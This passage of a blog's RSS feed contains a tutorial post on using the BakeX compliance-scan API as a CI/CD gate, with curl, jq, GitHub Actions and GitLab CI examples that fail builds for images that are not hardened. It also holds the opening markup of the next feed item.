href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fstratum-os-hardening-platform%2F&amp;linkname=BakeX%20%E2%80%94%20OS%20Hardening%20as%20a%20Platform" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fstratum-os-hardening-platform%2F&amp;linkname=BakeX%20%E2%80%94%20OS%20Hardening%20as%20a%20Platform" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fstratum-os-hardening-platform%2F&amp;linkname=BakeX%20%E2%80%94%20OS%20Hardening%20as%20a%20Platform" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fstratum-os-hardening-platform%2F&#038;title=BakeX%20%E2%80%94%20OS%20Hardening%20as%20a%20Platform" data-a2a-url="https://linuxcent.com/stratum-os-hardening-platform/" data-a2a-title="BakeX — OS Hardening as a Platform"></a></p><p>The post <a href="https://linuxcent.com/stratum-os-hardening-platform/">BakeX — OS Hardening as a Platform</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/stratum-os-hardening-platform/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1834</post-id>	</item>
		<item>
		<title>The Pipeline Gate — Hardened Images as a CI/CD Build Constraint</title>
		<link>https://linuxcent.com/hardened-image-cicd-pipeline-gate/</link>
					<comments>https://linuxcent.com/hardened-image-cicd-pipeline-gate/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 23 May 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[OS Image Builder]]></category>
		<category><![CDATA[BakeX]]></category>
		<category><![CDATA[CI/CD]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[GitOps]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pipeline]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1831</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 7</span> <span class="rt-label rt-postfix">minutes</span></span>Make hardened OS images a CI/CD build constraint: POST /api/pipeline/scan fails the build if grade < threshold. Unhardened images never reach production.
</p>
<p>The post <a href="https://linuxcent.com/hardened-image-cicd-pipeline-gate/">The Pipeline Gate — Hardened Images as a CI/CD Build Constraint</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 7</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>OS Hardening as Code, Episode 5</em><br />
<em><a href="https://linuxcent.com/cloud-ami-security-risks-custom-os-images/">Cloud AMI Security Risks</a> · <a href="/linux-hardening-as-code/">Linux Hardening as Code</a> · <a href="/linux-hardening-multi-cloud/">Multi-Cloud OS Hardening</a> · <a href="/automated-compliance-scanning-openscap/">Automated OpenSCAP Compliance</a> · </em><em>CI/CD Compliance Gate</em>**</p>
<blockquote>
<p><strong>Note:</strong> the tool in this series was released as <strong>Stratum</strong> and renamed to <strong>BakeX</strong> at<br />
v0.6.0 — same project, same license, same team. Commands below use the current <code class="" data-line="">bakex</code><br />
CLI. If you arrived here looking for <code class="" data-line="">stratum</code> or <code class="" data-line="">pip install stratumoss</code>, you&#8217;re in the<br />
right place: <a href="https://github.com/invicton/bakex">github.com/invicton/bakex</a>.</p>
</blockquote>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>A CI/CD compliance gate turns an OS hardening grade from a report into a build constraint — unhardened images fail the pipeline before they can be deployed</li>
<li><code class="" data-line="">POST /api/pipeline/scan</code> scores an image against a <code class="" data-line="">pass_threshold</code> and a <code class="" data-line="">severity_threshold</code>, and returns a <code class="" data-line="">passed</code> boolean</li>
<li><strong>The endpoint returns HTTP 200 even when the gate fails.</strong> <code class="" data-line="">curl -sf</code> will not catch it — you must parse <code class="" data-line="">.passed</code>. This is the single most important detail on this page</li>
<li>The gate is two-dimensional: a score floor <em>and</em> a severity ceiling, so one critical finding blocks a release that scores 94</li>
<li>GitHub Actions, GitLab CI, Jenkins, and Tekton integrations are one curl plus one <code class="" data-line="">jq</code></li>
<li>The structural guarantee: an image that doesn&#8217;t pass the gate doesn&#8217;t reach the deploy job</li>
</ul>
<hr />
<h2 id="the-problem-a-grade-no-one-checks-is-decoration">The Problem: A Grade No One Checks Is Decoration</h2>
<pre><code class="" data-line="">Pipeline without compliance gate:
  Build → Test → Security scan (results to dashboard) → Deploy

What actually happens:
  Build → Test → Security scan → &quot;C grade, but we need to ship&quot; → Deploy anyway
                                           │
                                           └─ Dashboard shows C grade
                                              Nobody is paged
                                              Deployment succeeds
</code></pre>
<p>A CI/CD compliance gate means the pipeline can&#8217;t continue if the grade is below threshold.</p>
<p>EP04 showed that automated OpenSCAP compliance gives every image a verified, reproducible grade before deployment. What it assumed is that someone checks the grade before deploying. They don&#8217;t — not under deadline pressure, not when the image has been &#8220;working fine for months,&#8221; not at 2am.</p>
<p>The same problem that made hardening runbooks skippable applies to compliance grades: if checking the grade is a discretionary step, it will be skipped.</p>
<hr />
<p>A new microservice was deployed from an unhardened base image. The team had built it quickly during a sprint, used a community AMI as the base, and planned to harden it &#8220;in the next sprint.&#8221;</p>
<p>Three weeks later, a penetration test found it. SSH password authentication enabled. Three unnecessary services running — one of them with a known CVE. The finding: the instance had full inbound access from the VPC and was reachable from a compromised adjacent instance.</p>
<p>The deployment had gone through the normal CI/CD pipeline. Unit tests passed. Integration tests passed. A vulnerability scan ran. The scan produced a report that went to a dashboard. Nobody had a gate set up to fail the build if the image was unhardened.</p>
<p>The hardening work from the &#8220;next sprint&#8221; plan would have taken four hours. The pentest remediation took a week, plus the time to investigate what had been exposed during the three weeks the instance was running.</p>
<p>The CI/CD pipeline had every check except the one that would have caught the base image problem before the first deployment.</p>
<hr />
<h2 id="the-pipeline-api">The Pipeline API</h2>
<p>The Pipeline API is a single HTTP endpoint that takes an image ID, scans it, and returns a verdict:</p>
<pre><code class="" data-line="">curl -s -X POST https://bakex.yourdomain.com/api/pipeline/scan \
  -H &quot;X-API-Key: ${BAKEX_TOKEN}&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &#039;{
    &quot;image_id&quot;: &quot;ami-0a7f3c9e82d1b4c05&quot;,
    &quot;provider&quot;: &quot;aws&quot;,
    &quot;region&quot;: &quot;us-east-1&quot;,
    &quot;pass_threshold&quot;: 75.0,
    &quot;severity_threshold&quot;: &quot;high&quot;,
    &quot;wait&quot;: true
  }&#039;
</code></pre>
<p>Authentication takes either <code class="" data-line="">X-API-Key</code> or <code class="" data-line="">Authorization: Bearer</code>; keys are created at<br />
<code class="" data-line="">/settings/api-keys</code>. With <code class="" data-line="">wait: true</code> the request blocks until the scan completes — which is what<br />
you want in CI, where a job that returns before the answer exists is worse than a slow one. There&#8217;s<br />
a <code class="" data-line="">timeout_seconds</code> (default 900) for when it doesn&#8217;t.</p>
<p>The response is the same shape whether you passed or failed:</p>
<pre><code class="" data-line="">{
  &quot;job_id&quot;: &quot;7f3c9e82-4d1b-4c05-a7f3-c9e82d1b4c05&quot;,
  &quot;status&quot;: &quot;complete&quot;,
  &quot;passed&quot;: false,
  &quot;grade&quot;: &quot;C&quot;,
  &quot;score_pct&quot;: 72.0,
  &quot;severity_counts&quot;: { &quot;critical&quot;: 0, &quot;high&quot;: 2, &quot;medium&quot;: 5, &quot;low&quot;: 11 },
  &quot;threshold_violations&quot;: [&quot;high&quot;],
  &quot;pass_threshold&quot;: 75.0,
  &quot;severity_threshold&quot;: &quot;high&quot;,
  &quot;image_id&quot;: &quot;ami-0c9d5e3f81a2b6e07&quot;,
  &quot;sarif_url&quot;: &quot;.../api/auditor/scan-image/7f3c9e82.../report?fmt=sarif&quot;,
  &quot;html_report_url&quot;: &quot;.../api/auditor/scan-image/7f3c9e82.../report&quot;
}
</code></pre>
<h3 id="the-detail-that-will-silently-break-your-gate">The detail that will silently break your gate</h3>
<p><strong>A failed gate still returns HTTP 200.</strong> There is no 4xx on failure — the verdict is in the<br />
<code class="" data-line="">passed</code> field, not the status code.</p>
<p>That means the pattern everyone reaches for first is wrong:</p>
<pre><code class="" data-line=""># WRONG — this never fails. -f only reacts to HTTP &gt;= 400,
# and a failed gate returns 200.
curl -sf -X POST .../api/pipeline/scan -d &#039;...&#039; || exit 1
</code></pre>
<p>You have to read the body:</p>
<pre><code class="" data-line=""># RIGHT
RESULT=$(curl -s -X POST &quot;${BAKEX_URL}/api/pipeline/scan&quot; \
  -H &quot;X-API-Key: ${BAKEX_TOKEN}&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &quot;{\&quot;image_id\&quot;: \&quot;${AMI_ID}\&quot;, \&quot;pass_threshold\&quot;: 75.0, \&quot;severity_threshold\&quot;: \&quot;high\&quot;}&quot;)

echo &quot;$RESULT&quot; | jq -r &#039;&quot;grade=\(.grade) score=\(.score_pct) passed=\(.passed)&quot;&#039;

if [ &quot;$(echo &quot;$RESULT&quot; | jq -r &#039;.passed&#039;)&quot; != &quot;true&quot; ]; then
  echo &quot;Compliance gate failed — violations: $(echo &quot;$RESULT&quot; | jq -c &#039;.threshold_violations&#039;)&quot;
  echo &quot;Report: $(echo &quot;$RESULT&quot; | jq -r &#039;.html_report_url&#039;)&quot;
  exit 1
fi
</code></pre>
<p>A gate that reports failure and exits 0 is worse than no gate, because it produces a green<br />
pipeline and the belief that something was checked.</p>
<h3 id="two-thresholds-not-one">Two thresholds, not one</h3>
<p><code class="" data-line="">passed</code> is the AND of two independent conditions:</p>
<pre><code class="" data-line="">passed = (score_pct &gt;= pass_threshold) AND (no findings at or above severity_threshold)
</code></pre>
<p><code class="" data-line="">severity_threshold: &quot;high&quot;</code> means any <code class="" data-line="">critical</code> or <code class="" data-line="">high</code> finding fails the build regardless of<br />
score. An image can score 94 — a comfortable A — and still fail on a single critical finding. That<br />
is the right default: scores average away the thing that gets you breached.</p>
<hr />
<h2 id="github-actions-integration">GitHub Actions Integration</h2>
<pre><code class="" data-line=""># .github/workflows/deploy.yml

jobs:
  build-image:
    runs-on: ubuntu-latest
    outputs:
      ami_id: ${{ steps.build.outputs.ami_id }}
    steps:
      - name: Build hardened AMI
        id: build
        run: |
          AMI_ID=$(bakex build blueprints/ubuntu/22.04/cis-l1-aws.yaml --json \
            | jq -r &#039;.artifact_id&#039;)
          echo &quot;ami_id=${AMI_ID}&quot; &gt;&gt; $GITHUB_OUTPUT

  compliance-gate:
    runs-on: ubuntu-latest
    needs: build-image
    steps:
      - name: BakeX compliance gate
        run: |
          RESULT=$(curl -s -X POST ${{ vars.BAKEX_URL }}/api/pipeline/scan \
            -H &quot;X-API-Key: ${{ secrets.BAKEX_TOKEN }}&quot; \
            -H &quot;Content-Type: application/json&quot; \
            -d &quot;{\&quot;image_id\&quot;: \&quot;${{ needs.build-image.outputs.ami_id }}\&quot;,
                 \&quot;pass_threshold\&quot;: 75.0, \&quot;severity_threshold\&quot;: \&quot;high\&quot;}&quot;)

          echo &quot;$RESULT&quot; | jq -r &#039;&quot;grade=\(.grade) score=\(.score_pct)&quot;&#039;

          # Must check .passed — the endpoint returns 200 on failure
          if [ &quot;$(echo &quot;$RESULT&quot; | jq -r &#039;.passed&#039;)&quot; != &quot;true&quot; ]; then
            echo &quot;::error::Compliance gate failed: $(echo &quot;$RESULT&quot; | jq -c &#039;.threshold_violations&#039;)&quot;
            exit 1
          fi

      - name: Upload SARIF to code scanning
        if: always()
        run: |
          curl -s -o bakex.sarif &quot;$(echo &quot;$RESULT&quot; | jq -r &#039;.sarif_url&#039;)&quot;
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: bakex.sarif

  deploy:
    runs-on: ubuntu-latest
    needs: [build-image, compliance-gate]
    steps:
      - name: Deploy to staging
        run: |
          aws autoscaling update-auto-scaling-group \
            --auto-scaling-group-name my-asg \
            --launch-template &quot;ImageId=${{ needs.build-image.outputs.ami_id }}&quot;
</code></pre>
<p>The <code class="" data-line="">deploy</code> job only runs if <code class="" data-line="">compliance-gate</code> passes. The AMI doesn&#8217;t reach the autoscaling group if it doesn&#8217;t meet the grade threshold.</p>
<hr />
<h2 id="gitlab-ci-integration">GitLab CI Integration</h2>
<pre><code class="" data-line=""># .gitlab-ci.yml

stages:
  - build
  - compliance
  - deploy

build-image:
  stage: build
  script:
    - |
      AMI_ID=$(bakex build blueprints/ubuntu/22.04/cis-l1-aws.yaml --json \
        | jq -r &#039;.artifact_id&#039;)
      echo &quot;AMI_ID=${AMI_ID}&quot; &gt;&gt; build.env
  artifacts:
    reports:
      dotenv: build.env

compliance-gate:
  stage: compliance
  needs: [build-image]
  script:
    - |
      RESULT=$(curl -s -X POST ${BAKEX_URL}/api/pipeline/scan \
        -H &quot;X-API-Key: ${BAKEX_TOKEN}&quot; \
        -H &quot;Content-Type: application/json&quot; \
        -d &quot;{\&quot;image_id\&quot;: \&quot;${AMI_ID}\&quot;, \&quot;pass_threshold\&quot;: 75.0,
             \&quot;severity_threshold\&quot;: \&quot;high\&quot;}&quot;)
      echo &quot;$RESULT&quot; | jq -r &#039;&quot;grade=\(.grade) score=\(.score_pct) passed=\(.passed)&quot;&#039;
      test &quot;$(echo &quot;$RESULT&quot; | jq -r &#039;.passed&#039;)&quot; = &quot;true&quot;

deploy:
  stage: deploy
  needs: [build-image, compliance-gate]
  script:
    - ./deploy.sh ${AMI_ID}
</code></pre>
<hr />
<h2 id="what-the-failed-gate-tells-you">What the Failed Gate Tells You</h2>
<p>The value of the CI/CD compliance gate is not just that it blocks bad images — it&#8217;s that the failure output tells engineers what to fix.</p>
<p>The response carries three things an engineer can act on immediately:</p>
<pre><code class="" data-line="">$ echo &quot;$RESULT&quot; | jq &#039;{grade, score_pct, threshold_violations, severity_counts}&#039;
{
  &quot;grade&quot;: &quot;C&quot;,
  &quot;score_pct&quot;: 72.0,
  &quot;threshold_violations&quot;: [&quot;high&quot;],
  &quot;severity_counts&quot;: { &quot;critical&quot;: 0, &quot;high&quot;: 2, &quot;medium&quot;: 5, &quot;low&quot;: 11 }
}
</code></pre>
<p><code class="" data-line="">threshold_violations</code> names the severities that broke the gate — here, two <code class="" data-line="">high</code> findings, not the<br />
score. That distinction matters: an engineer who reads &#8220;grade C&#8221; starts a broad hardening project,<br />
while one who reads &#8220;two high findings&#8221; goes and fixes two things.</p>
<p>For the rule-level detail, follow <code class="" data-line="">sarif_url</code>. Pushing that SARIF into GitHub code scanning (as in<br />
the workflow above) puts each finding on the pull request diff, which is where someone will actually<br />
read it — a link to a dashboard in a CI log is a link nobody clicks.</p>
<hr />
<h2 id="thresholds-by-environment">Thresholds by Environment</h2>
<p>Not all environments need the same bar, and both dimensions are per-request — so the environment<br />
distinction lives in your pipeline, not in BakeX config:</p>
<pre><code class="" data-line=""># Production — high score floor, nothing high or above
PASS=90.0 ; SEV=high

# Staging — lower floor, still no criticals
PASS=75.0 ; SEV=critical

# Development — score only, severity effectively off
PASS=60.0 ; SEV=low

curl -s -X POST &quot;${BAKEX_URL}/api/pipeline/scan&quot; \
  -H &quot;X-API-Key: ${BAKEX_TOKEN}&quot; -H &quot;Content-Type: application/json&quot; \
  -d &quot;{\&quot;image_id\&quot;: \&quot;${AMI_ID}\&quot;, \&quot;pass_threshold\&quot;: ${PASS}, \&quot;severity_threshold\&quot;: \&quot;${SEV}\&quot;}&quot;
</code></pre>
<p>Note that <code class="" data-line="">severity_threshold</code> gets <em>stricter</em> as it goes down the list: <code class="" data-line="">low</code> fails on any finding<br />
at all, <code class="" data-line="">critical</code> fails only on criticals. It reads backwards the first time. Development wanting a<br />
permissive gate wants <code class="" data-line="">critical</code>, not <code class="" data-line="">low</code>.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<p><strong>The 200-on-failure behaviour is the whole ballgame.</strong> Repeating it because it is the one thing that<br />
turns this page from useful to harmful if missed: check <code class="" data-line="">.passed</code>. Never rely on <code class="" data-line="">curl -f</code>, and never<br />
rely on the HTTP status.</p>
<p><strong>Scans take minutes, and <code class="" data-line="">wait: true</code> blocks.</strong> The endpoint provisions an instance from the image<br />
and scans it. With <code class="" data-line="">wait: true</code> your CI job blocks for the duration; <code class="" data-line="">timeout_seconds</code> defaults to<br />
900. Set your CI step timeout above that, or use <code class="" data-line="">wait: false</code> and poll <code class="" data-line="">GET /api/pipeline/scan/{job_id}</code>.</p>
<p><strong>Token rotation.</strong> The API key should rotate on the same schedule as other service credentials, and<br />
environments should use different keys — a leaked staging key must not be able to satisfy a<br />
production gate.</p>
<p><strong>The gate needs a reachable BakeX server.</strong> This is an HTTP API, not a self-contained action: the<br />
runner must reach the BakeX instance, and that instance needs cloud credentials for the provider<br />
whose image it is scanning.</p>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>A CI/CD compliance gate turns a compliance grade from a dashboard metric into a pipeline constraint — the image doesn&#8217;t deploy if it doesn&#8217;t pass</li>
<li><code class="" data-line="">POST /api/pipeline/scan</code> is a single HTTP call that any CI/CD system can make — no agent, no plugin, no SDK required</li>
<li><strong>The endpoint returns 200 even when the gate fails.</strong> Parse <code class="" data-line="">.passed</code>; <code class="" data-line="">curl -sf || exit 1</code> produces a green pipeline and a false sense of security</li>
<li>The verdict is two-dimensional — a score floor AND a severity ceiling — so a single critical finding blocks an image that scores 94</li>
<li><code class="" data-line="">threshold_violations</code> tells an engineer <em>why</em> it failed, which is the difference between &#8220;fix two high findings&#8221; and &#8220;start a hardening project&#8221;</li>
<li>Push the <code class="" data-line="">sarif_url</code> into GitHub code scanning so findings land on the pull request, not in a CI log</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>The CI/CD compliance gate closes the final gap: even if an unhardened image gets built, it can&#8217;t deploy. EP05 is the bookmark episode — this is the point where OS hardening becomes structurally enforced rather than procedurally expected.</p>
<p>EP06 is the series closer. For five episodes, you&#8217;ve been using BakeX as a user. What does it look like to run it yourself — extend it with a custom provider, deploy it in your own infrastructure, or contribute a blueprint back?</p>
<p>BakeX is Apache 2.0. EP06 is the architecture reveal, the deployment guide, and the extension points for everything the series taught.</p>
<p><em>Next: <a href="/stratum-os-hardening-platform/">BakeX — open-source OS hardening platform for multi-cloud infrastructure</a></em></p>
<p>Get EP06 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fhardened-image-cicd-pipeline-gate%2F&amp;linkname=The%20Pipeline%20Gate%20%E2%80%94%20Hardened%20Images%20as%20a%20CI%2FCD%20Build%20Constraint" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fhardened-image-cicd-pipeline-gate%2F&amp;linkname=The%20Pipeline%20Gate%20%E2%80%94%20Hardened%20Images%20as%20a%20CI%2FCD%20Build%20Constraint" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fhardened-image-cicd-pipeline-gate%2F&amp;linkname=The%20Pipeline%20Gate%20%E2%80%94%20Hardened%20Images%20as%20a%20CI%2FCD%20Build%20Constraint" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fhardened-image-cicd-pipeline-gate%2F&amp;linkname=The%20Pipeline%20Gate%20%E2%80%94%20Hardened%20Images%20as%20a%20CI%2FCD%20Build%20Constraint" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fhardened-image-cicd-pipeline-gate%2F&amp;linkname=The%20Pipeline%20Gate%20%E2%80%94%20Hardened%20Images%20as%20a%20CI%2FCD%20Build%20Constraint" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fhardened-image-cicd-pipeline-gate%2F&amp;linkname=The%20Pipeline%20Gate%20%E2%80%94%20Hardened%20Images%20as%20a%20CI%2FCD%20Build%20Constraint" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fhardened-image-cicd-pipeline-gate%2F&amp;linkname=The%20Pipeline%20Gate%20%E2%80%94%20Hardened%20Images%20as%20a%20CI%2FCD%20Build%20Constraint" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fhardened-image-cicd-pipeline-gate%2F&#038;title=The%20Pipeline%20Gate%20%E2%80%94%20Hardened%20Images%20as%20a%20CI%2FCD%20Build%20Constraint" data-a2a-url="https://linuxcent.com/hardened-image-cicd-pipeline-gate/" data-a2a-title="The Pipeline Gate — Hardened Images as a CI/CD Build Constraint"></a></p><p>The post <a href="https://linuxcent.com/hardened-image-cicd-pipeline-gate/">The Pipeline Gate — Hardened Images as a CI/CD Build Constraint</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/hardened-image-cicd-pipeline-gate/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1831</post-id>	</item>
		<item>
		<title>Compliance Grading — Automated OpenSCAP with A-F Scores Before Deployment</title>
		<link>https://linuxcent.com/automated-compliance-scanning-openscap/</link>
					<comments>https://linuxcent.com/automated-compliance-scanning-openscap/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 15 May 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[OS Image Builder]]></category>
		<category><![CDATA[BakeX]]></category>
		<category><![CDATA[CIS]]></category>
		<category><![CDATA[Compliance]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OpenSCAP]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1828</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span>Automated OpenSCAP scanning with A-F compliance grades before deployment. SARIF export, drift detection, and compliance metadata baked into every AMI.</p>
<p>The post <a href="https://linuxcent.com/automated-compliance-scanning-openscap/">Compliance Grading — Automated OpenSCAP with A-F Scores Before Deployment</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 6</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
